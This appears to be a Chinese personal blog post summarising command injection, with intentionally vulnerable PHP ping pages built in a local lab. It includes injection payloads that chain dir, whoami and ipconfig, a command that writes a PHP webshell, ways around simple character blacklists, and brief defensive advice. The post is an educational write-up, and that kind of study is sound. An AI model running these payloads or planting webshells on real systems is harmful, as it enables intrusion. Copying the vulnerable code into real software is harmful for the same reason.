Command injection summary

  1. 前言
  2. 正文

前言

今天把系统重装了一遍,起因经过不想说什么= =。由于下午都在安环境和打补丁,也就只有晚上能学习一下。把命令注入学习总结了一遍

正文

漏洞产生的原因
由于开发人员使用脚本语言提供的命令执行操作,过滤又不完善用户又可以只有控制输入的变量。导致了变量可控,造成命令注入。

漏洞测试
测试环境为:win7+php5.6,使用phpstudy搭建
存在漏洞的脚本

<html>
<head>
    <title>命令注入测试</title>
</head>
<body>
<p>输入IP</p>
<form method="GET" action="<?php echo $_SERVER['PHP_SELF'];?>">
    IP:<input name="host" type="text" required><br>
    <input type="submit" value="提交">
    <p id="demo">我是结果</p>
</form>
</body>
</html>

<?php
header("Content-type: text/html;charset=utf-8");
if(isset($_GET['host'])){
    $ud=$_GET['host'];
    $zx=system("ping ".$ud);
    echo $zx;
    echo "<script>document.getElementById('demo').innerText=$zx</script>";
}
?>


上面这个例子可以看到无任何过滤,输入变量又可控,导致可以被用户任意执行命令
kQ4lSP.png
输入:

127.0.0.1&&dir

kQ40S0.md.png
查看权限:

127.0.0.1&&whoami

kQ4TmD.png

反弹shell

echo "<?php @assert($_GET[_]);?>" >> zz.php

kQ57vV.png

kQ5zCR.png

绕过过滤
一些程序员为了防止这种情况的发生,进行了一定的过滤

<html>
<head>
    <title>命令注入测试</title>
</head>
<body>
<p>输入IP</p>
<form method="GET" action="<?php echo $_SERVER['PHP_SELF'];?>">
    IP:<input name="host" type="text" required><br>
    <input type="submit" value="提交">
    <p id="demo">我是结果</p>
</form>
</body>
</html>

<?php
header("Content-type: text/html;charset=utf-8");
if(isset($_GET['host'])){
    $ud=$_GET['host'];
    $j=check($ud);
    echo "payload:$j";
    echo "<br>";
    $zx=system("ping ".$j);
    echo $zx;
    echo "<script>document.getElementById('demo').innerText=$zx</script>";
}
function check($v){
    $black_list=array(';'=>'','&'=>'');
    $th=str_replace(array_keys($black_list),$black_list,$v); /*读取黑名单数组里面的key,替换为黑名单里面的值也就是空*/
    return $th;
}
?>

&和;被过滤掉了,那么我们用|代替

127.0.0.1 | ipconfig

kQLxcd.png

过滤更严谨一点

<html>
<head>
    <title>命令注入测试</title>
</head>
<body>
<p>输入IP</p>
<form method="GET" action="<?php echo $_SERVER['PHP_SELF'];?>">
    IP:<input name="host" type="text" required><br>
    <input type="submit" value="提交">
    <p id="demo">我是结果</p>
</form>
</body>
</html>

<?php
header("Content-type: text/html;charset=utf-8");
if(isset($_GET['host'])){
    $ud=$_GET['host'];
    $j=check($ud);
    echo "payload:$j";
    echo "<br>";
    $zx=system("ping ".$j);
    echo $zx;
    echo "<script>document.getElementById('demo').innerText=$zx</script>";
}
function check($v){
    $black_list=array(';'=>'','&'=>'','||'=>'','|'=>'',')'=>'','('=>'');
    $th=str_replace(array_keys($black_list),$black_list,$v); /*读取黑名单数组里面的key,替换为黑名单里面的值也就是空*/
    return $th;
}
?>

或许这样可以防御大部分攻击,但是并不能完全保证不会被FUZZ绕过,而且未来说不定也会有办法什么之类的。
防御方案有两个:

1.在获取用户输入后,用正则匹配出要进行命令执行的
2.加入token机制,表单限制为只能输入数字

转载请声明:转自422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:Command injection summary

本文作者:九世

发布时间:2019-01-29, 22:56:40

最后更新:2019-04-19, 20:36:16

原始链接:http://422926799.github.io/posts/e2532565.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录